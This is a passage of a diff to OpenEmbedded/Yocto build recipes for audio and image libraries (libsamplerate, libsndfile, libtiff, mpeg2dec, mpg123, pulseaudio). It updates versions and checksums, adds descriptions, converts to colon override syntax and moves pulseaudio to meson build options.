+SRC_URI = "https://github.com/libsndfile/libsamplerate/releases/download/${PV}/libsamplerate-${PV}.tar.xz \
+"
+
+SRC_URI[sha256sum] = "3258da280511d24b49d6b08615bbe824d0cacc9842b0e4caf11c52cf2b043893"
+
+CVE_PRODUCT = "libsamplerate"
+
+UPSTREAM_CHECK_URI = "https://github.com/libsndfile/libsamplerate/releases"
+
+S = "${WORKDIR}/libsamplerate-${PV}"
+
+inherit autotools pkgconfig
+
+# FFTW and ALSA are only used in tests and examples, so they don't affect
+# normal builds. It should be safe to ignore these, but explicitly disabling
+# them adds some extra certainty that builds are deterministic.
+EXTRA_OECONF = "--disable-fftw --disable-alsa"
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1_1.0.28.bb b/meta/recipes-multimedia/libsndfile/libsndfile1_1.0.28.bb
index b100108766..443ca95e32 100644
--- a/meta/recipes-multimedia/libsndfile/libsndfile1_1.0.28.bb
+++ b/meta/recipes-multimedia/libsndfile/libsndfile1_1.0.28.bb
@@ -1,4 +1,7 @@
SUMMARY = "Audio format Conversion library"
+DESCRIPTION = "Library for reading and writing files containing sampled \
+sound (such as MS Windows WAV and the Apple/SGI AIFF format) through \
+one standard library interface."
HOMEPAGE = "http://www.mega-nerd.com/libsndfile"
AUTHOR = "Erik de Castro Lopo"
DEPENDS = "flac libogg libvorbis"
@@ -34,7 +37,7 @@ PACKAGECONFIG[regtest] = "--enable-sqlite,--disable-sqlite,sqlite3"
inherit autotools lib_package pkgconfig multilib_header
-do_install_append() {
+do_install:append() {
oe_multilib_header sndfile.h
}
diff --git a/meta/recipes-multimedia/libtiff/tiff_4.1.0.bb b/meta/recipes-multimedia/libtiff/tiff_4.1.0.bb
deleted file mode 100644
index 9b907fbc24..0000000000
--- a/meta/recipes-multimedia/libtiff/tiff_4.1.0.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "Provides support for the Tag Image File Format (TIFF)"
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=34da3db46fab7501992f9615d7e158cf"
-
-CVE_PRODUCT = "libtiff"
-
-SRC_URI = "http://download.osgeo.org/libtiff/tiff-${PV}.tar.gz \
- "
-SRC_URI[md5sum] = "2165e7aba557463acc0664e71a3ed424"
-SRC_URI[sha256sum] = "5d29f32517dadb6dbcd1255ea5bbc93a2b54b94fbf83653b4d65c7d6775b8634"
-
-# exclude betas
-UPSTREAM_CHECK_REGEX = "tiff-(?P<pver>\d+(\.\d+)+).tar"
-
-inherit autotools multilib_header
-
-CACHED_CONFIGUREVARS = "ax_cv_check_gl_libgl=no"
-
-PACKAGECONFIG ?= "cxx jpeg zlib lzma \
- strip-chopping extrasample-as-alpha check-ycbcr-subsampling"
-
-PACKAGECONFIG[cxx] = "--enable-cxx,--disable-cxx,,"
-PACKAGECONFIG[jpeg] = "--enable-jpeg,--disable-jpeg,jpeg,"
-PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib,"
-PACKAGECONFIG[lzma] = "--enable-lzma,--disable-lzma,xz,"
-
-# Convert single-strip uncompressed images to multiple strips of specified
-# size (default: 8192) to reduce memory usage
-PACKAGECONFIG[strip-chopping] = "--enable-strip-chopping,--disable-strip-chopping,,"
-
-# Treat a fourth sample with no EXTRASAMPLE_ value as being ASSOCALPHA
-PACKAGECONFIG[extrasample-as-alpha] = "--enable-extrasample-as-alpha,--disable-extrasample-as-alpha,,"
-
-# Control picking up YCbCr subsample info. Disable to support files lacking
-# the tag
-PACKAGECONFIG[check-ycbcr-subsampling] = "--enable-check-ycbcr-subsampling,--disable-check-ycbcr-subsampling,,"
-
-# Support a mechanism allowing reading large strips (usually one strip files)
-# in chunks when using TIFFReadScanline. Experimental 4.0+ feature
-PACKAGECONFIG[chunky-strip-read] = "--enable-chunky-strip-read,--disable-chunky-strip-read,,"
-
-PACKAGES =+ "tiffxx tiff-utils"
-FILES_tiffxx = "${libdir}/libtiffxx.so.*"
-FILES_tiff-utils = "${bindir}/*"
-
-do_install_append() {
- oe_multilib_header tiffconf.h
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-multimedia/libtiff/tiff_4.3.0.bb b/meta/recipes-multimedia/libtiff/tiff_4.3.0.bb
new file mode 100644
index 0000000000..6852758c6a
--- /dev/null
+++ b/meta/recipes-multimedia/libtiff/tiff_4.3.0.bb
@@ -0,0 +1,57 @@
+SUMMARY = "Provides support for the Tag Image File Format (TIFF)"
+DESCRIPTION = "Library provides support for the Tag Image File Format \
+(TIFF), a widely used format for storing image data. This library \
+provide means to easily access and create TIFF image files."
+HOMEPAGE = "http://www.libtiff.org/"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=34da3db46fab7501992f9615d7e158cf"
+
+CVE_PRODUCT = "libtiff"
+
+SRC_URI = "http://download.osgeo.org/libtiff/tiff-${PV}.tar.gz \
+ "
+SRC_URI[sha256sum] = "0e46e5acb087ce7d1ac53cf4f56a09b221537fc86dfc5daaad1c2e89e1b37ac8"
+
+# exclude betas
+UPSTREAM_CHECK_REGEX = "tiff-(?P<pver>\d+(\.\d+)+).tar"
+
+# Tested with check from https://security-tracker.debian.org/tracker/CVE-2015-7313
+# and 4.3.0 doesn't have the issue
+CVE_CHECK_WHITELIST += "CVE-2015-7313"
+
+inherit autotools multilib_header
+
+CACHED_CONFIGUREVARS = "ax_cv_check_gl_libgl=no"
+
+PACKAGECONFIG ?= "cxx jpeg zlib lzma \
+ strip-chopping extrasample-as-alpha check-ycbcr-subsampling"
+
+PACKAGECONFIG[cxx] = "--enable-cxx,--disable-cxx,,"
+PACKAGECONFIG[jpeg] = "--enable-jpeg,--disable-jpeg,jpeg,"
+PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib,"
+PACKAGECONFIG[lzma] = "--enable-lzma,--disable-lzma,xz,"
+
+# Convert single-strip uncompressed images to multiple strips of specified
+# size (default: 8192) to reduce memory usage
+PACKAGECONFIG[strip-chopping] = "--enable-strip-chopping,--disable-strip-chopping,,"
+
+# Treat a fourth sample with no EXTRASAMPLE_ value as being ASSOCALPHA
+PACKAGECONFIG[extrasample-as-alpha] = "--enable-extrasample-as-alpha,--disable-extrasample-as-alpha,,"
+
+# Control picking up YCbCr subsample info. Disable to support files lacking
+# the tag
+PACKAGECONFIG[check-ycbcr-subsampling] = "--enable-check-ycbcr-subsampling,--disable-check-ycbcr-subsampling,,"
+
+# Support a mechanism allowing reading large strips (usually one strip files)
+# in chunks when using TIFFReadScanline. Experimental 4.0+ feature
+PACKAGECONFIG[chunky-strip-read] = "--enable-chunky-strip-read,--disable-chunky-strip-read,,"
+
+PACKAGES =+ "tiffxx tiff-utils"
+FILES:tiffxx = "${libdir}/libtiffxx.so.*"
+FILES:tiff-utils = "${bindir}/*"
+
+do_install:append() {
+ oe_multilib_header tiffconf.h
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-multimedia/mpeg2dec/mpeg2dec_0.5.1.bb b/meta/recipes-multimedia/mpeg2dec/mpeg2dec_0.5.1.bb
index 00ca3675ca..ee4b754c12 100644
--- a/meta/recipes-multimedia/mpeg2dec/mpeg2dec_0.5.1.bb
+++ b/meta/recipes-multimedia/mpeg2dec/mpeg2dec_0.5.1.bb
@@ -1,5 +1,9 @@
SUMMARY = "Library and test program for decoding MPEG-2 and MPEG-1 video streams"
-HOMEPAGE = "http://libmpeg2.sourceforge.net/"
+DESCRIPTION = "mpeg2dec is a test program for libmpeg2. It decodes \
+mpeg-1 and mpeg-2 video streams, and also includes a demultiplexer \
+for mpeg-1 and mpeg-2 program streams. The main purpose of mpeg2dec \
+is to have a simple test bed for libmpeg2."
+HOMEPAGE = "https://libmpeg2.sourceforge.io/"
SECTION = "libs"
LICENSE = "GPLv2+"
LICENSE_FLAGS = "commercial"
@@ -30,18 +34,18 @@ PACKAGECONFIG[x11] = "--with-x,--without-x,virtual/libx11 libxext libxv"
PACKAGES = "mpeg2dec-dbg mpeg2dec mpeg2dec-doc libmpeg2 libmpeg2-dev libmpeg2convert libmpeg2convert-dev libmpeg2-staticdev libmpeg2convert-staticdev"
-FILES_${PN} = "${bindir}/*"
-FILES_libmpeg2 = "${libdir}/libmpeg2.so.*"
-FILES_libmpeg2convert = "${libdir}/libmpeg2convert.so.*"
-FILES_libmpeg2-dev = "${libdir}/libmpeg2.so \
+FILES:${PN} = "${bindir}/*"
+FILES:libmpeg2 = "${libdir}/libmpeg2.so.*"
+FILES:libmpeg2convert = "${libdir}/libmpeg2convert.so.*"
+FILES:libmpeg2-dev = "${libdir}/libmpeg2.so \
${libdir}/libmpeg2.la \
${libdir}/libmpeg2arch.la \
${libdir}/pkgconfig/libmpeg2.pc \
${includedir}/mpeg2dec/mpeg2.h"
-FILES_libmpeg2-staticdev = "${libdir}/libmpeg2.a"
-FILES_libmpeg2convert-dev = "${libdir}/libmpeg2convert.so \
+FILES:libmpeg2-staticdev = "${libdir}/libmpeg2.a"
+FILES:libmpeg2convert-dev = "${libdir}/libmpeg2convert.so \
${libdir}/libmpeg2convert.la \
${libdir}/libmpeg2convertarch.la \
${libdir}/pkgconfig/libmpeg2convert.pc \
${includedir}/mpeg2dec/mpeg2convert.h"
-FILES_libmpeg2convert-staticdev = "${libdir}/libmpeg2convert.a"
+FILES:libmpeg2convert-staticdev = "${libdir}/libmpeg2convert.a"
diff --git a/meta/recipes-multimedia/mpg123/mpg123_1.26.3.bb b/meta/recipes-multimedia/mpg123/mpg123_1.26.3.bb
deleted file mode 100644
index 0746d8d47d..0000000000
--- a/meta/recipes-multimedia/mpg123/mpg123_1.26.3.bb
+++ /dev/null
@@ -1,51 +0,0 @@
-SUMMARY = "Audio decoder for MPEG-1 Layer 1/2/3"
-DESCRIPTION = "The core of mpg123 is an MPEG-1 Layer 1/2/3 decoding library, which can be used by other programs. \
-mpg123 also comes with a command-line tool which can playback using ALSA, PulseAudio, OSS, and several other APIs, \
-and also can write the decoded audio to WAV."
-HOMEPAGE = "http://mpg123.de/"
-BUGTRACKER = "http://sourceforge.net/p/mpg123/bugs/"
-SECTION = "multimedia"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1e86753638d3cf2512528b99079bc4f3"
-
-SRC_URI = "https://www.mpg123.de/download/${BP}.tar.bz2"
-SRC_URI[sha256sum] = "30c998785a898f2846deefc4d17d6e4683a5a550b7eacf6ea506e30a7a736c6e"
-
-UPSTREAM_CHECK_REGEX = "mpg123-(?P<pver>\d+(\.\d+)+)\.tar"
-
-inherit autotools pkgconfig
-
-# The options should be mutually exclusive for configuration script.
-# If both alsa and pulseaudio are specified (as in the default distro features)
-# pulseaudio takes precedence.
-PACKAGECONFIG_ALSA = "${@bb.utils.filter('DISTRO_FEATURES', 'alsa', d)}"
-PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'pulseaudio', 'pulseaudio', '${PACKAGECONFIG_ALSA}', d)}"
-
-PACKAGECONFIG[alsa] = "--with-default-audio=alsa,,alsa-lib"
-PACKAGECONFIG[esd] = ",,esound"
-PACKAGECONFIG[jack] = ",,jack"
-PACKAGECONFIG[openal] = ",,openal-soft"
-PACKAGECONFIG[portaudio] = ",,portaudio-v19"
-PACKAGECONFIG[pulseaudio] = "--with-default-audio=pulse,,pulseaudio"
-PACKAGECONFIG[sdl] = ",,libsdl2"
-
-# Following are possible sound output modules:
-# alsa arts coreaudio dummy esd jack nas openal os2 oss portaudio pulse sdl sndio sun tinyalsa win32 win32_wasapi
-AUDIOMODS += "${@bb.utils.filter('PACKAGECONFIG', 'alsa esd jack openal portaudio sdl', d)}"
-AUDIOMODS += "${@bb.utils.contains('PACKAGECONFIG', 'pulseaudio', 'pulse', '', d)}"
-
-EXTRA_OECONF = " \
- --enable-shared \
- --with-audio='${AUDIOMODS}' \
- ${@bb.utils.contains('TUNE_FEATURES', 'neon', '--with-cpu=neon', '', d)} \
- ${@bb.utils.contains('TUNE_FEATURES', 'altivec', '--with-cpu=altivec', '', d)} \
-"
-# Fails to build with thumb-1 (qemuarm)
-#| {standard input}: Assembler messages:
-#| {standard input}:47: Error: selected processor does not support Thumb mode `smull r5,r6,r7,r4'
-#| {standard input}:48: Error: shifts in CMP/MOV instructions are only supported in unified syntax -- `mov r5,r5,lsr#24'
-#...
-#| make[3]: *** [equalizer.lo] Error 1
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
diff --git a/meta/recipes-multimedia/mpg123/mpg123_1.29.3.bb b/meta/recipes-multimedia/mpg123/mpg123_1.29.3.bb
new file mode 100644
index 0000000000..6e0dc1beff
--- /dev/null
+++ b/meta/recipes-multimedia/mpg123/mpg123_1.29.3.bb
@@ -0,0 +1,52 @@
+SUMMARY = "Audio decoder for MPEG-1 Layer 1/2/3"
+DESCRIPTION = "The core of mpg123 is an MPEG-1 Layer 1/2/3 decoding library, which can be used by other programs. \
+mpg123 also comes with a command-line tool which can playback using ALSA, PulseAudio, OSS, and several other APIs, \
+and also can write the decoded audio to WAV."
+HOMEPAGE = "http://mpg123.de/"
+BUGTRACKER = "http://sourceforge.net/p/mpg123/bugs/"
+SECTION = "multimedia"
+
+LICENSE = "LGPLv2.1"
+LIC_FILES_CHKSUM = "file://COPYING;md5=e7b9c15fcfb986abb4cc5e8400a24169"
+
+SRC_URI = "https://www.mpg123.de/download/${BP}.tar.bz2"
+SRC_URI[sha256sum] = "963885d8cc77262f28b77187c7d189e32195e64244de2530b798ddf32183e847"
+
+UPSTREAM_CHECK_REGEX = "mpg123-(?P<pver>\d+(\.\d+)+)\.tar"
+
+inherit autotools pkgconfig
+
+# The options should be mutually exclusive for configuration script.
+# If both alsa and pulseaudio are specified (as in the default distro features)
+# pulseaudio takes precedence.
+PACKAGECONFIG_ALSA = "${@bb.utils.filter('DISTRO_FEATURES', 'alsa', d)}"
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'pulseaudio', 'pulseaudio', '${PACKAGECONFIG_ALSA}', d)}"
+
+PACKAGECONFIG[alsa] = "--with-default-audio=alsa,,alsa-lib"
+PACKAGECONFIG[esd] = ",,esound"
+PACKAGECONFIG[jack] = ",,jack"
+PACKAGECONFIG[openal] = ",,openal-soft"
+PACKAGECONFIG[portaudio] = ",,portaudio-v19"
+PACKAGECONFIG[pulseaudio] = "--with-default-audio=pulse,,pulseaudio"
+PACKAGECONFIG[sdl] = ",,libsdl2"
+
+# Following are possible sound output modules:
+# alsa arts coreaudio dummy esd jack nas openal os2 oss portaudio pulse sdl sndio sun tinyalsa win32 win32_wasapi
+AUDIOMODS += "${@bb.utils.filter('PACKAGECONFIG', 'alsa esd jack openal portaudio sdl', d)}"
+AUDIOMODS += "${@bb.utils.contains('PACKAGECONFIG', 'pulseaudio', 'pulse', '', d)}"
+
+EXTRA_OECONF = " \
+ --enable-shared \
+ --with-audio='${AUDIOMODS}' \
+ ${@bb.utils.contains('TUNE_FEATURES', 'neon', '--with-cpu=neon', '', d)} \
+ ${@bb.utils.contains('TUNE_FEATURES', 'altivec', '--with-cpu=altivec', '', d)} \
+ ${@bb.utils.contains('TARGET_FPU', 'soft', '--with-cpu=generic_nofpu', '', d)} \
+"
+# Fails to build with thumb-1 (qemuarm)
+#| {standard input}: Assembler messages:
+#| {standard input}:47: Error: selected processor does not support Thumb mode `smull r5,r6,r7,r4'
+#| {standard input}:48: Error: shifts in CMP/MOV instructions are only supported in unified syntax -- `mov r5,r5,lsr#24'
+#...
+#| make[3]: *** [equalizer.lo] Error 1
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
diff --git a/meta/recipes-multimedia/pulseaudio/pulseaudio.inc b/meta/recipes-multimedia/pulseaudio/pulseaudio.inc
index 3a26cb59dd..4a1456d407 100644
--- a/meta/recipes-multimedia/pulseaudio/pulseaudio.inc
+++ b/meta/recipes-multimedia/pulseaudio/pulseaudio.inc
@@ -1,4 +1,6 @@
SUMMARY = "Sound server for Linux and Unix-like operating systems"
+DESCRIPTION = "A general purpose sound server intended to run as a middleware \
+between your applications and your hardware devices, either using ALSA or OSS."
HOMEPAGE = "http://www.pulseaudio.org"
AUTHOR = "Lennart Poettering"
SECTION = "libs/multimedia"
@@ -56,47 +58,47 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=0e5cd938de1a7a53ea5adac38cc10c39 \
file://src/pulsecore/filter/biquad.h;beginline=1;endline=4;md5=6d46d1365206528a20137355924233c1 \
"
+# libtool is needed for libltdl, used in module loading.
DEPENDS = "libatomic-ops libsndfile1 libtool"
# optional
DEPENDS += "udev alsa-lib glib-2.0"
DEPENDS += "speexdsp libxml-parser-perl-native libcap"
-inherit autotools bash-completion pkgconfig useradd gettext perlnative systemd manpages gsettings
+inherit bash-completion meson pkgconfig useradd gettext perlnative systemd manpages gsettings
# *.desktop rules wont be generated during configure and build will fail
# if using --disable-nls
USE_NLS = "yes"
-EXTRA_OECONF = "\
- --disable-hal-compat \
- --disable-orc \
- --enable-tcpwrap=no \
- --with-access-group=audio \
- --disable-openssl \
- --with-database=simple \
- --without-zsh-completion-dir \
- --with-udev-rules-dir=`pkg-config --variable=udevdir udev`/rules.d \
- ac_cv_header_valgrind_memcheck_h=no \
- --disable-tests \
- --disable-running-from-build-tree \
+EXTRA_OEMESON = "\
+ -Dhal-compat=false \
+ -Dorc=disabled \
+ -Daccess_group=audio \
+ -Dopenssl=disabled \
+ -Ddatabase=simple \
+ -Dzshcompletiondir=no \
+ -Dudevrulesdir=`pkg-config --variable=udevdir udev`/rules.d \
+ -Dvalgrind=disabled \
+ -Dtests=false \
+ -Drunning-from-build-tree=false \
"
# soxr (the SoX Resampler library) doesn't seem to be currently packaged in
# oe-core nor meta-oe, so let's not add a PACKAGECONFIG entry for it for now.
-EXTRA_OECONF += "--without-soxr"
+EXTRA_OEMESON += "-Dsoxr=disabled"
# The FFTW dependency (for module-equalizer-sink) was removed in commit
# ddbd713293 without explaining why it was not made a PACKAGECONFIG item
# instead. Oh well, let's keep it disabled until someone expresses some
# interest in having it enabled.
-EXTRA_OECONF += "--without-fftw"
+EXTRA_OEMESON += "-Dfftw=disabled"
# The "adrian" echo canceller implementation has a non-standard license
# (src/modules/echo-cancel/adrian-license.txt). It's a permissive license, so
# the licensing terms are probably not problematic, but it would be an extra
# hassle to add the license to OE-Core's set of licenses. The canceller isn't
# very good anyway, better alternatives exist (such as the webrtc canceller).
-EXTRA_OECONF += "--disable-adrian-aec"
+EXTRA_OEMESON += "-Dadrian-aec=false"
PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez5', '', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'zeroconf', 'avahi', '', d)} \
@@ -105,35 +107,25 @@ PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez5'
dbus gsettings \
"
-PACKAGECONFIG[dbus] = "--enable-dbus,--disable-dbus,dbus"
-PACKAGECONFIG[bluez5] = "--enable-bluez5,--disable-bluez5,bluez5 sbc"
-PACKAGECONFIG[gconf] = "--enable-gconf,--disable-gconf,gconf"
-PACKAGECONFIG[gsettings] = "--enable-gsettings,--disable-gsettings,glib-2.0-native glib-2.0"
-PACKAGECONFIG[ofono] = "--enable-bluez5-ofono-headset,--disable-bluez5-ofono-headset,ofono"
-PACKAGECONFIG[gtk] = "--enable-gtk3,--disable-gtk3,gtk+3"
-PACKAGECONFIG[systemd] = "--enable-systemd-daemon --enable-systemd-login --enable-systemd-journal --with-systemduserunitdir=${systemd_user_unitdir},--disable-systemd-daemon --disable-systemd-login --disable-systemd-journal,systemd"
-PACKAGECONFIG[x11] = "--enable-x11,--disable-x11,virtual/libx11 libxtst libice libsm libxcb"
-PACKAGECONFIG[avahi] = "--enable-avahi,--disable-avahi,avahi"
-PACKAGECONFIG[jack] = "--enable-jack,--disable-jack,jack"
+PACKAGECONFIG[dbus] = "-Ddbus=enabled,-Ddbus=disabled,dbus"
+PACKAGECONFIG[bluez5] = "-Dbluez5=enabled,-Dbluez5=disabled,bluez5 sbc"
+PACKAGECONFIG[gsettings] = "-Dgsettings=enabled,-Dgsettings=disabled,glib-2.0-native glib-2.0"
+PACKAGECONFIG[ofono] = "-Dbluez5-ofono-headset=true,-Dbluez5-ofono-headset=false,ofono"
+PACKAGECONFIG[gtk] = "-Dgtk=enabled,-Dgtk=disabled,gtk+3"
+PACKAGECONFIG[systemd] = "-Dsystemd=enabled -Dsystemduserunitdir=${systemd_user_unitdir},-Dsystemd=disabled,systemd"
+PACKAGECONFIG[x11] = "-Dx11=enabled,-Dx11=disabled,virtual/libx11 libxtst libice libsm libxcb"
+PACKAGECONFIG[avahi] = "-Davahi=enabled,-Davahi=disabled,avahi"
+PACKAGECONFIG[jack] = "-Djack=enabled,-Djack=disabled,jack"
# Since many embedded systems don't have non-root users, it's useful to be
# able to use pulseaudio autospawn for root as well.
PACKAGECONFIG[autospawn-for-root] = ",,,"
-PACKAGECONFIG[lirc] = "--enable-lirc,--disable-lirc,lirc"
-PACKAGECONFIG[webrtc] = "--enable-webrtc-aec,--disable-webrtc-aec,webrtc-audio-processing"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-PACKAGECONFIG[manpages] = "--enable-manpages, --disable-manpages, "
-
-EXTRA_OECONF_append_arm = "${@bb.utils.contains("TUNE_FEATURES", "neon", "", " --enable-neon-opt=no", d)}"
-EXTRA_OECONF_append_armeb = "${@bb.utils.contains("TUNE_FEATURES", "neon", "", " --enable-neon-opt=no", d)}"
-
+PACKAGECONFIG[lirc] = "-Dlirc=enabled,-Dlirc=disabled,lirc"
+PACKAGECONFIG[webrtc] = "-Dwebrtc-aec=enabled,-Dwebrtc-aec=disabled,webrtc-audio-processing"
+PACKAGECONFIG[ipv6] = "-Dipv6=true,-Dipv6=false,"
+PACKAGECONFIG[manpages] = "-Dman=true,-Dman=false,"
export TARGET_PFPU = "${TARGET_FPU}"
-# TODO: Use more fine granular version
-#OE_LT_RPATH_ALLOW=":${libdir}/pulse-0.9:"
-OE_LT_RPATH_ALLOW = "any"
-OE_LT_RPATH_ALLOW[export]="1"
-
set_cfg_value () {
sed -i -e "s/\(; *\)\?$2 =.*/$2 = $3/" "$1"
if ! grep -q "^$2 = $3\$" "$1"; then
@@ -141,20 +133,20 @@ set_cfg_value () {
fi
}
-do_compile_append () {
+do_compile:append () {
if ${@bb.utils.contains('PACKAGECONFIG', 'autospawn-for-root', 'true', 'false', d)}; then
- set_cfg_value src/client.conf allow-autospawn-for-root yes
+ set_cfg_value src/pulse/client.conf allow-autospawn-for-root yes
fi
}
-do_install_append() {
+do_install:append() {
install -d ${D}${sysconfdir}/default/volatiles
install -m 0644 ${WORKDIR}/volatiles.04_pulse ${D}${sysconfdir}/default/volatiles/04_pulse
}
USERADD_PACKAGES = "pulseaudio-server"
-GROUPADD_PARAM_pulseaudio-server = "--system pulse"
-USERADD_PARAM_pulseaudio-server = "--system --home /var/run/pulse \
+GROUPADD_PARAM:pulseaudio-server = "--system pulse"
+USERADD_PARAM:pulseaudio-server = "--system --home /var/run/pulse \
--no-create-home --shell /bin/false \
--groups audio,pulse --gid pulse pulse"
@@ -176,50 +168,49 @@ PACKAGES =+ "\
PACKAGES =+ "${@bb.utils.contains('PACKAGECONFIG', 'dbus', 'pulseaudio-module-console-kit', '', d)}"
#upgrade path:
-RREPLACES_pulseaudio-server = "libpulse-bin libpulse-conf"
+RREPLACES:pulseaudio-server = "libpulse-bin libpulse-conf"
PACKAGES_DYNAMIC += "^pulseaudio-lib-.* ^pulseaudio-module-.*"
-FILES_libpulsecore = "${libdir}/pulseaudio/libpulsecore*.so"
-FILES_libpulsecommon = "${libdir}/pulseaudio/libpulsecommon*.so"
+FILES:libpulsecore = "${libdir}/pulseaudio/libpulsecore*.so"
+FILES:libpulsecommon = "${libdir}/pulseaudio/libpulsecommon*.so"
# client.conf configures the behaviour of libpulse, so it belongs in the same
# package.
-FILES_libpulse = "${libdir}/libpulse.so.* ${sysconfdir}/pulse/client.conf"
+FILES:libpulse = "${libdir}/libpulse.so.* ${sysconfdir}/pulse/client.conf"
-FILES_libpulse-simple = "${libdir}/libpulse-simple.so.*"
-FILES_libpulse-mainloop-glib = "${libdir}/libpulse-mainloop-glib.so.*"
+FILES:libpulse-simple = "${libdir}/libpulse-simple.so.*"
+FILES:libpulse-mainloop-glib = "${libdir}/libpulse-mainloop-glib.so.*"
-FILES_${PN}-dev += "${libdir}/pulse-${PV}/modules/*.la ${datadir}/vala ${libdir}/cmake"
-FILES_${PN}-conf = "${sysconfdir}"
-FILES_${PN}-bin += "${sysconfdir}/default/volatiles/04_pulse"
-FILES_${PN}-pa-info = "${bindir}/pa-info"
-FILES_${PN}-server = "${bindir}/pulseaudio ${bindir}/start-* ${sysconfdir} ${bindir}/pactl */udev/rules.d/*.rules */*/udev/rules.d/*.rules ${systemd_user_unitdir}/*"
+FILES:${PN}-dev += "${libdir}/pulse-${PV}/modules/*.la ${datadir}/vala"
+FILES:${PN}-bin += "${sysconfdir}/default/volatiles/04_pulse"
+FILES:${PN}-pa-info = "${bindir}/pa-info"
+FILES:${PN}-server = "${bindir}/pulseaudio ${bindir}/start-* ${sysconfdir} ${bindir}/pactl */udev/rules.d/*.rules */*/udev/rules.d/*.rules ${systemd_user_unitdir}/*"
#SYSTEMD_PACKAGES = "${PN}-server"
-SYSTEMD_SERVICE_${PN}-server = "pulseaudio.service"
+SYSTEMD_SERVICE:${PN}-server = "pulseaudio.service"
-FILES_${PN}-misc = "${bindir}/* ${libdir}/pulseaudio/libpulsedsp.so"
+FILES:${PN}-misc = "${bindir}/* ${libdir}/pulseaudio/libpulsedsp.so"
# Allow the pulseaudio package to be created empty as a placeholder (-dbg and -dev depend on it)
-FILES_${PN} = ""
-ALLOW_EMPTY_${PN} = "1"
+FILES:${PN} = ""
+ALLOW_EMPTY:${PN} = "1"
-CONFFILES_libpulse = "${sysconfdir}/pulse/client.conf"
+CONFFILES:libpulse = "${sysconfdir}/pulse/client.conf"
-CONFFILES_pulseaudio-server = "\
+CONFFILES:pulseaudio-server = "\
${sysconfdir}/pulse/default.pa \
${sysconfdir}/pulse/daemon.conf \
${sysconfdir}/pulse/system.pa \
"
-pkg_postinst_${PN}-server() {
+pkg_postinst:${PN}-server() {
if [ -z "$D" ] && [ -e ${sysconfdir}/init.d/populate-volatile.sh ] ; then
${sysconfdir}/init.d/populate-volatile.sh update
fi
}
-python populate_packages_prepend() {
+python populate_packages:prepend() {
plugindir = d.expand('${libdir}/pulse-${PV}/modules/')
do_split_packages(d, plugindir, r'^module-(.*)\.so$', '${PN}-module-%s', 'PulseAudio module for %s', extra_depends='', prepend=True)
do_split_packages(d, plugindir, r'^lib(.*)\.so$', '${PN}-lib-%s', 'PulseAudio library for %s', extra_depends='', prepend=True)
@@ -227,7 +218,7 @@ python populate_packages_prepend() {
# pa-info is a bash script that collects information about the audio setup.
# It's primarily useful for attaching an information dump when reporting bugs.
-RDEPENDS_${PN}-pa-info = "\
+RDEPENDS:${PN}-pa-info = "\
alsa-utils-amixer \
alsa-utils-aplay \
alsa-utils-scripts \
@@ -235,7 +226,7 @@ RDEPENDS_${PN}-pa-info = "\
${PN}-server \
"
-RDEPENDS_pulseaudio-server = " \
+RDEPENDS:pulseaudio-server = " \
pulseaudio-module-filter-apply \
pulseaudio-module-filter-heuristics \
pulseaudio-module-udev-detect \
@@ -261,24 +252,23 @@ RDEPENDS_pulseaudio-server = " \
# If the server is installed, it's usually desirable to make ALSA applications
# use PulseAudio. alsa-plugins-pulseaudio-conf will install the configuration
# that makes the PulseAudio plugin the default ALSA device.
-RDEPENDS_pulseaudio-server += "alsa-plugins-pulseaudio-conf"
+RDEPENDS:pulseaudio-server += "alsa-plugins-pulseaudio-conf"
# pulseaudio-module-console-kit is built whenever dbus is enabled by PACKAGECONFIG
# but consolekit depends on libx11 and is available only for DISTRO with x11 in DISTRO_FEATURES
-RDEPENDS_pulseaudio-module-console-kit =+ "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'consolekit', '', d)}"
-RDEPENDS_pulseaudio-misc += "pulseaudio-module-cli-protocol-unix"
+RDEPENDS:pulseaudio-module-console-kit =+ "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'consolekit', '', d)}"
+RDEPENDS:pulseaudio-misc += "pulseaudio-module-cli-protocol-unix"
-FILES_${PN}-module-alsa-card += "${datadir}/pulseaudio/alsa-mixer"
-FILES_${PN}-module-gconf += "${libexecdir}/pulse/gconf-helper"
+FILES:${PN}-module-alsa-card += "${datadir}/pulseaudio/alsa-mixer"
GSETTINGS_PACKAGE = "${@bb.utils.contains('PACKAGECONFIG', 'gsettings', '${PN}-module-gsettings', '', d)}"
-FILES_${PN}-module-gsettings += "${libexecdir}/pulse/gsettings-helper ${datadir}/GConf/gsettings ${datadir}/glib-2.0/schemas"
+FILES:${PN}-module-gsettings += "${libexecdir}/pulse/gsettings-helper ${datadir}/GConf/gsettings ${datadir}/glib-2.0/schemas"
# The console-kit module is good to have on X11 systems (it keeps PulseAudio
# running for the duration of the user login session). The device-manager and
# x11-* modules are referenced from the start-pulseaudio-x11 script, so those
# modules must be installed when X11 is enabled.
-RDEPENDS_pulseaudio-server += "\
+RDEPENDS:pulseaudio-server += "\
${@bb.utils.contains('DISTRO_FEATURES', 'x11', '\
pulseaudio-module-device-manager \
pulseaudio-module-x11-cork-request \
@@ -286,6 +276,6 @@ RDEPENDS_pulseaudio-server += "\
pulseaudio-module-x11-xsmp \
